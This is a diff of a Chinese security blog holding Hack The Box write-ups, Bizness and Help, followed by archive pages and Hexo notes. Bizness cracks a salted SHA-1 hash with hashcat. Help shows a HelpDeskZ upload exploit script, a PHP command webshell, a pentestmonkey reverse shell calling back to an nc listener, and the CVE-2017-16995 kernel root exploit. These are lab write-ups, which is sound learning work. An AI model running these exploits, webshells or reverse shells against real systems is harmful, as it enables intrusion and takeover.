public static String getHashTypeFromPrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return null;
}

return hashString.substring(1, hashString.indexOf('}'));
}

/**
* @deprecated use cryptPassword
*/
@Deprecated
public static String removeHashTypePrefix(String hashString) {
if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
return hashString;
}

return hashString.substring(hashString.indexOf('}') + 1);
}

/**
* @deprecated use digestHashOldFunnyHex(hashType, str)
*/
@Deprecated
public static String getDigestHashOldFunnyHexEncode(String str, String hashType) {
return digestHashOldFunnyHex(hashType, str);
}

public static String digestHashOldFunnyHex(String hashType, String str) {
if (UtilValidate.isEmpty(hashType)) {
hashType = "SHA";
}
if (str == null) {
return null;
}
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
byte[] strBytes = str.getBytes(UtilIO.getUtf8());

messagedigest.update(strBytes);
return oldFunnyHex(messagedigest.digest());
} catch (Exception e) {
Debug.logError(e, "Error while computing hash of type " + hashType, module);
}
return str;
}

// This next block should be removed when all {prefix}oldFunnyHex are fixed.
private static String oldFunnyHex(byte[] bytes) {
int k = 0;
char[] digestChars = new char[bytes.length * 2];
for (byte b : bytes) {
int i1 = b;

if (i1 < 0) {
i1 = 127 + i1 * -1;
}
StringUtil.encodeInt(i1, k, digestChars);
k += 2;
}
return new String(digestChars);
}
}
+ + + +

根据源码的编码方式,进行反向解码:

+
1
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
+ +

Therefore, we know that the hashType is SHA , the salt is a single letter d , and the rest
(uP0_QaVBpDWFeo8-dRzDqRwXQ2I ) are the hashed bytes.

+

So, we now know that the characters are Base64-encoded, but without padding, and with + and
/ characters replaced by - and _ , respectively.

+

解码得到hex:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

# Base64URL-encoded hash
base64url_encoded = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

# Step 1: Replace URL-safe characters
base64_encoded = base64url_encoded.replace('-', '+').replace('_', '/')
print("Base64 Encoded:", base64_encoded)

# Step 2: Add padding if necessary
while len(base64_encoded) % 4 != 0:
base64_encoded += '='
print("Base64 Encoded with Padding:", base64_encoded)

# Step 3: Decode the Base64 string
decoded_bytes = base64.b64decode(base64_encoded)
print("Decoded Bytes:", decoded_bytes)

# Step 4: Convert bytes to hex
hex_string = decoded_bytes.hex()
print("Hex Representation:", hex_string)
+ + + +
1
b8fd3f41a541a435857a8f3e751cc3a91c174362
+ + + +

破解密码

注意加盐d,其中参数-m 120:指定哈希类型为 SHA-1 加盐

+

hash.txt

+
1
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
+ +

运行hashcat

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu--0x000, 1437/2939 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Sun Sep 15 23:24:42 2024 (1 sec)
Time.Estimated...: Sun Sep 15 23:24:43 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4712.6 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1478656/14344385 (10.31%)
Rejected.........: 0/1478656 (0.00%)
Restore.Point....: 1478144/14344385 (10.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: monky1994 -> monkey-moo
Hardware.Mon.#1..: Util: 71%

Started: Sun Sep 15 23:24:41 2024
Stopped: Sun Sep 15 23:24:44 2024
+ + + +

爆破成功:b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

+

获得破解后的密码:monkeybizness

+

su root

+

输入此密码获得root.txt

+

结束!

+

遇到的问题

下载文件时提示磁盘已满。在VM中扩容20G。进入kali, 打开工具。

+

先关闭linux-swap,右键swap-off.

+

将unallocated扩充到linux-swap上,再将linux-swap扩容到/dev/即可。

+

gparted

+

运行hashcat,提示* Device #1: Not enough allocatable device memory for this attack.

+

修改kali-VM的内存为4G,再运行hashcat即可。

+

对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

+
1
2
3
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
└─# hashcat -m 120 --show hash.txt
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2024/09/15/HTB_Bizness/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2024/09/15/HTB_Bizness/shell.png b/2024/09/15/HTB_Bizness/shell.png new file mode 100644 index 000000000..c946ec242 Binary files /dev/null and b/2024/09/15/HTB_Bizness/shell.png differ diff --git a/2024/09/18/HTB_Help/index.html b/2024/09/18/HTB_Help/index.html new file mode 100644 index 000000000..64f9be672 --- /dev/null +++ b/2024/09/18/HTB_Help/index.html @@ -0,0 +1,326 @@ +HTB_Help | h4m5t's Blog + + + + + + + + + + + + + +

HTB_Help

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# echo "10.129.230.159" > ip.txt

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# nmap -sC -sV $(cat ip.txt)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 01:33 AEST
Nmap scan report for 10.129.230.159
Host is up (0.012s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds
+ +

目录爆破

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# dirsearch -u "http://help.htb" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 220545

Output File: /home/h4m5t/Desktop/HTB/Help/reports/http_help.htb/_24-09-24_12-53-02.txt

Target: http://help.htb/

[12:53:02] Starting:
[12:53:03] 301 - 306B - /support -> http://help.htb/support/
[12:53:04] 301 - 309B - /javascript -> http://help.htb/javascript/
+ +

或者使用gobuster

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# gobuster dir -u http://help.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://help.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 301) [Size: 306] [--> http://help.htb/support/]
/javascript (Status: 301) [Size: 309] [--> http://help.htb/javascript/]
+ +

或使用ffuf, 只显示成功的请求,并将扫描的输出结果同时显示在终端并保存到 scan_results.txt 文件中。

+
1
ffuf -u http://help.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -mc 200,301,302 | tee scan_results.txt
+ + + + + +

文件上传

根据爆破的目录,找到一个上传点:

+
1
http://help.htb/support/
+ +

上传phpshell提示文件类型不允许,但其实文件已经上传成功。

+
1
2
3
4
5
6
7
8
9
10
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit "HelpDeskZ"
------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------ ---------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injecti | php/webapps/41200.py
Helpdeskz v2.0.2 - Stored XSS | php/webapps/52068.txt
------------------------------------------------ ---------------------------------
Shellcodes: No Results
+ +
1
2
3
4
5
6
7
8
9
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit -m php/webapps/40300.py
Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/40300
Path: /usr/share/exploitdb/exploits/php/webapps/40300.py
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/h4m5t/Desktop/HTB/Help/40300.py
+ +

优化修改后的Exp:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashlib
import time
import requests
import datetime
import sys

print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [nameOfUploadedFile]")
sys.exit(1)

# 基础 URL
helpdeskzBaseUrl = 'http://help.htb/support/uploads/tickets/'
fileName = sys.argv[1]

# 获取当前时间,避免时区错误
r = requests.get(helpdeskzBaseUrl)
currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970, 1, 1)).total_seconds())

# 尝试通过猜测时间来获得文件的实际URL
for x in range(0, 500):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext.encode()).hexdigest() # 将字符串编码为字节
url = helpdeskzBaseUrl + md5hash + '.php'
# print(url)
response = requests.head(url)
if response.status_code == 200:
print('Found!')
print(url)
sys.exit(0)

print('Sorry, I did not find anything')
+ +

上传文件phpshell.php

+
1
<?php system($_GET['cmd']); ?>
+ +

上传后运行exp脚本,结果如下:

+
1
2
3
4
5
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# python exploit.py phpshell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Found!
http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php
+ +

浏览器输入:

+
1
http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php?cmd=id
+ +

结果:

+
1
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare) 
+ +

RCE利用成功。

+

下载一个功能更强大的php-reverse-shell

+
1
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
+ +

修改php脚本中的IP为tun0的IP地址

+
1
$ip = '10.10.14.9';
+ +

本地开启nc监听:

+
1
nc -lnvp 1234
+ +

上传php-reverse-shell,并使用exp脚本:

+

reverse_shell

+

拿到user_flag:

+
1
2
$ cat /home/help/user.txt
2df113fbcfc65a5889ca9a2932054c9b
+ +

Tips: There are at least two exploitable vulnerabilities in HelpDeskZ 1.0.2. There’s an authenticated SQL injection that will allow you to read a SHA1 hash from the database and crack it, allowing for SSH access. There’s also an arbirtray file upload vulnerability that will allow you to upload a webshell and get execution that way. Either way, you end up with a shell as the same user.

+

稳定shell

这个 shell 可能是非交互式的,无法使用完整的终端功能(例如不能使用箭头键或者 tab 自动补全)。为了稳定它,可以使用以下命令使 shell 更加交互式:

+
    +
  1. 在目标机器的 shell 中,执行以下命令来获取伪终端:

    +
    1
    python -c 'import pty; pty.spawn("/bin/bash")'
    + +

    如果目标机器上有 Python 3,使用:

    +
    1
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    + +

    一般情况下到这里就可以了,不用继续。

    +
  2. +
  3. 在攻击者端(Netcat session),按下 Ctrl + Z 将会话挂起。

    +

    ==注意,需要先将kali的zsh切换为bash!==,如果使用zsh,可以将下面的命令链接起来:

    +
    1
    stty raw -echo;fg
    +
  4. +
  5. 设置终端模式:

    +
    1
    2
    stty raw -echo
    fg
    + +

    然后按 Enter 键,获得一个更稳定的交互 shell。

    +
  6. +
  7. 最后,在目标机器上执行以下命令,设置终端环境:

    +
    1
    export TERM=xterm
  8. +
+

现在拥有了目标机器的 Shell,接下来可以进行以下操作:

+
    +
  • 枚举系统信息

    +
      +
    • 识别操作系统版本、内核版本、用户信息等:
      1
      2
      3
      uname -a
      whoami
      id
    • +
    +
  • +
  • 枚举权限

    +
      +
    • 查看当前用户的权限,检查是否可以获得更多的特权。
    • +
    +
  • +
  • 提权

    +
      +
    • 如果当前 shell 权限有限,你可能想通过一些提权技术来获得 root 权限。你可以搜索系统是否存在已知的提权漏洞,或者利用 misconfiguration(如 SUID 位、错误配置的 Cron Jobs 等)进行提权。
    • +
    +
  • +
+

shell

+

提权

使用LinEnum.sh提权检查脚本(攻击机使用httpserver,目标机wget下载)

+
1
2
3
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh | tee LinEnum-results.txt
+ +

version 0.982

+
    +
  • Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
  • +
+

OPTIONS:

+
    +
  • -k Enter keyword
  • +
  • -e Enter export location
  • +
  • -t Include thorough (lengthy) tests
  • +
  • -s Supply current user password to check sudo perms (INSECURE)
  • +
  • -r Enter report name
  • +
  • -h Displays this help text
  • +
+

注意,如果需要要目标机下载log文件到本地进行分析,可以在目标机使用:

+
1
2
3
python -m SimpleHTTPServer 8080
#or
python3 -m http.server 8080
+ +

或使用uname -a 查看系统版本

+
1
2
help@help:/$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
+ +

查到exp

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit "4.4.0-116"
--------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------- ---------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privil | linux/local/44298.c
--------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
└─# searchsploit -m linux/local/44298.c
Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/44298
Path: /usr/share/exploitdb/exploits/linux/local/44298.c
Codes: CVE-2017-16995
Verified: False
File Type: C source, ASCII text
Copied to: /home/h4m5t/Desktop/HTB/Help/44298.c
+ +

在kali启动http.server

+
1
python -m http.server
+ +

在靶机wget下载文件并编译:

+
1
2
help@help:/tmp$ wget http://10.10.14.9:8000/44298.c
help@help:/tmp$ gcc 44298.c -o 44298
+ +

运行,提权成功:

+
1
2
3
4
5
6
help@help:/tmp$ ./44298 
task_struct = ffff88003b502a00
uidptr = ffff880037300784
spawning root shell
root@help:/tmp# cat /root/root.txt
e0226c44b138c223f11148228acb9517
+ + + +

参考

https://www.youtube.com/watch?v=axxCpCTmu_k

+

https://0xdf.gitlab.io/2019/06/08/htb-help.html#

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2024/09/18/HTB_Help/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2024/09/18/HTB_Help/reverse_shell.jpg b/2024/09/18/HTB_Help/reverse_shell.jpg new file mode 100644 index 000000000..f38ddab4e Binary files /dev/null and b/2024/09/18/HTB_Help/reverse_shell.jpg differ diff --git a/2024/09/18/HTB_Help/shell.jpg b/2024/09/18/HTB_Help/shell.jpg new file mode 100644 index 000000000..a314d432f Binary files /dev/null and b/2024/09/18/HTB_Help/shell.jpg differ diff --git a/404.html b/404.html new file mode 100644 index 000000000..01047a357 --- /dev/null +++ b/404.html @@ -0,0 +1,190 @@ +页面没有找到 | h4m5t's Blog + + + + + + + + + + +
Page not found

404

Page Not Found
\ No newline at end of file diff --git a/CNAME b/CNAME new file mode 100644 index 000000000..17bee38e4 --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +h4m5t.top \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 000000000..119f00102 --- /dev/null +++ b/README.md @@ -0,0 +1,65 @@ +# My Blog + +> 记录一些博客配置和使用方面的问题。 + +生成和推送 + +``` +hexo clean && hexo g && hexo d +``` + +提交的文件没有README.md + +``` +skip_render: README.md # 不把README.md解析为html +``` + +图片引用问题 +``` +最简单的是引用/img下的图片文件,但是如果图片太多,不方便管理。 +为方便管理和引用,开启资源文件管理功能:当资源文件管理功能打开后,Hexo将会在你每一次通过 hexo new [layout] 命令创建新文章时自动创建一个文件夹。这个资源文件夹将会有与这个文章文件一样的名字。将所有与你的文章有关的资源放在这个关联文件夹中之后,你可以通过相对路径来引用它们,这样你就得到了一个更简单而且方便得多的工作流。 + +方法一(没用): +网上都说安装这个插件,但是没用,最后卸载了。 +npm install -g cnpm --registry=https://registry.npm.taobao.org +安装插件:cnpm install hexo-asset-image --save +参考:https://guguge.top/blog/butterfly/#%E6%9C%AC%E5%9C%B0%E5%9B%BE%E7%89%87%E5%BC%95%E7%94%A8%E9%97%AE%E9%A2%98 + + +方法二(能用): +安装另外一个插件:npm install hexo-renderer-marked --save + + +启用后,资源图片将会被自动解析为其对应文章的路径。 +例如: image.jpg 位置为 /2020/01/02/foo/image.jpg ,这表示它是 /2020/01/02/foo/ 文章的一张资源图片, ![](image.jpg) 将会被解析为 <img src="/2020/01/02/foo/image.jpg"> 。 + +参考:https://zhuanlan.zhihu.com/p/265077468 +官方说法:https://hexo.io/docs/asset-folders.html + + +即最终结论: +安装hexo-renderer-marked +开启相关功能(_config.yml): +post_asset_folder: true #文章资源文件夹 +marked: + prependRoot: true + postAsset: true + +在md文章中,用以下两种方法引用图片: +{% asset_img 1.jpg %} +![pic](1.jpg) +``` + +域名访问问题 + +``` +发现每次hexo g && hexo d之后,Custom domain会消失,导致404。 +解决方法:在Source下创建CNAME文件可解决此问题。 +``` + +多终端同步问题。 + +``` +可使用两个不同的仓库或分支,比如main保存源文件,gh-pages保存生成后的文件。用Actions构建流。 +``` + diff --git a/about/index.html b/about/index.html new file mode 100644 index 000000000..9dbe3b2c3 --- /dev/null +++ b/about/index.html @@ -0,0 +1,207 @@ +<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0,viewport-fit=cover"><title>个人介绍 | h4m5t's Blog + + + + + + + + + + + + +

关于我

    +
  • 🌱 I’m a cyber-security student.
  • +
  • ⚡ I’m learning penetration testing.
  • +
  • ❤️ My Blog
  • +
+

与我联系

Mail: lovehamethyst@gmail.com

+
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2020/10/index.html b/archives/2020/10/index.html new file mode 100644 index 000000000..da093614e --- /dev/null +++ b/archives/2020/10/index.html @@ -0,0 +1,199 @@ +2020年10月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 5
2020
黑客术语解释
黑客术语解释
Chrome快捷键
Chrome快捷键
Windows快捷键
Windows快捷键
Git
Git
解决Win10桌面图标小箭头问题
解决Win10桌面图标小箭头问题
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2020/11/index.html b/archives/2020/11/index.html new file mode 100644 index 000000000..217449bf3 --- /dev/null +++ b/archives/2020/11/index.html @@ -0,0 +1,199 @@ +2020年11月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2020
记第一次挖矿
记第一次挖矿
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2020/12/index.html b/archives/2020/12/index.html new file mode 100644 index 000000000..cac835e38 --- /dev/null +++ b/archives/2020/12/index.html @@ -0,0 +1,199 @@ +2020年12月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 2
2020
信息安全
信息安全
云安全
云安全
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2020/index.html b/archives/2020/index.html new file mode 100644 index 000000000..385d55f9a --- /dev/null +++ b/archives/2020/index.html @@ -0,0 +1,199 @@ +2020 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 8
2020
信息安全
信息安全
云安全
云安全
记第一次挖矿
记第一次挖矿
黑客术语解释
黑客术语解释
Chrome快捷键
Chrome快捷键
Windows快捷键
Windows快捷键
Git
Git
解决Win10桌面图标小箭头问题
解决Win10桌面图标小箭头问题
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/01/index.html b/archives/2021/01/index.html new file mode 100644 index 000000000..b88127b39 --- /dev/null +++ b/archives/2021/01/index.html @@ -0,0 +1,199 @@ +2021年01月 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/02/index.html b/archives/2021/02/index.html new file mode 100644 index 000000000..ba3d4bb5a --- /dev/null +++ b/archives/2021/02/index.html @@ -0,0 +1,199 @@ +2021年02月 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/02/page/2/index.html b/archives/2021/02/page/2/index.html new file mode 100644 index 000000000..332d1ca80 --- /dev/null +++ b/archives/2021/02/page/2/index.html @@ -0,0 +1,199 @@ +2021年02月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 13
2021
春秋杯新年欢乐赛
春秋杯新年欢乐赛
记录前端学习--CSS
记录前端学习--CSS
OWASP TOP10
OWASP TOP10
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/03/index.html b/archives/2021/03/index.html new file mode 100644 index 000000000..a30f8f257 --- /dev/null +++ b/archives/2021/03/index.html @@ -0,0 +1,199 @@ +2021年03月 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/03/page/2/index.html b/archives/2021/03/page/2/index.html new file mode 100644 index 000000000..2345d7997 --- /dev/null +++ b/archives/2021/03/page/2/index.html @@ -0,0 +1,199 @@ +2021年03月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 20
2021
云蜜罐
云蜜罐
关于WAF
关于WAF
XXE漏洞
XXE漏洞
字节跳动安全风控训练营总结
字节跳动安全风控训练营总结
Python命令行解析Argparse
Python命令行解析Argparse
CDN的绕过
CDN的绕过
CSP内容安全策略
CSP内容安全策略
端口服务总结
端口服务总结
CMS指纹识别
CMS指纹识别
常见名词解释
常见名词解释
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/04/index.html b/archives/2021/04/index.html new file mode 100644 index 000000000..d9b9fac4b --- /dev/null +++ b/archives/2021/04/index.html @@ -0,0 +1,199 @@ +2021年04月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 3
2021
企业渗透1
企业渗透1
VPN实验
VPN实验
基于OSSEC的入侵检测
基于OSSEC的入侵检测
绿盟安服面试(实习)
绿盟安服面试(实习)
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/05/index.html b/archives/2021/05/index.html new file mode 100644 index 000000000..ed222b443 --- /dev/null +++ b/archives/2021/05/index.html @@ -0,0 +1,199 @@ +2021年05月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 4
2021
记一次360众测考核
记一次360众测考核
六月加油
六月加油
ISCC练武题
ISCC练武题
企业渗透2
企业渗透2
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/08/index.html b/archives/2021/08/index.html new file mode 100644 index 000000000..9743b0cae --- /dev/null +++ b/archives/2021/08/index.html @@ -0,0 +1,199 @@ +2021年08月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 1
2021
初等数论学习
初等数论学习
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/index.html b/archives/2021/index.html new file mode 100644 index 000000000..98320720c --- /dev/null +++ b/archives/2021/index.html @@ -0,0 +1,199 @@ +2021 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/page/2/index.html b/archives/2021/page/2/index.html new file mode 100644 index 000000000..658dd336b --- /dev/null +++ b/archives/2021/page/2/index.html @@ -0,0 +1,199 @@ +2021 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/page/3/index.html b/archives/2021/page/3/index.html new file mode 100644 index 000000000..2c192126b --- /dev/null +++ b/archives/2021/page/3/index.html @@ -0,0 +1,199 @@ +2021 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/page/4/index.html b/archives/2021/page/4/index.html new file mode 100644 index 000000000..a8842d3e5 --- /dev/null +++ b/archives/2021/page/4/index.html @@ -0,0 +1,199 @@ +2021 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2021/page/5/index.html b/archives/2021/page/5/index.html new file mode 100644 index 000000000..961642e06 --- /dev/null +++ b/archives/2021/page/5/index.html @@ -0,0 +1,199 @@ +2021 | h4m5t's Blog + + + + + + + + + + +
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/archives/2022/01/index.html b/archives/2022/01/index.html new file mode 100644 index 000000000..7fc75c61b --- /dev/null +++ b/archives/2022/01/index.html @@ -0,0 +1,199 @@ +2022年01月 | h4m5t's Blog + + + + + + + + + + +
文章总览 - 4
2022
DVWA靶场记录
DVWA靶场记录
螺旋矩阵输出
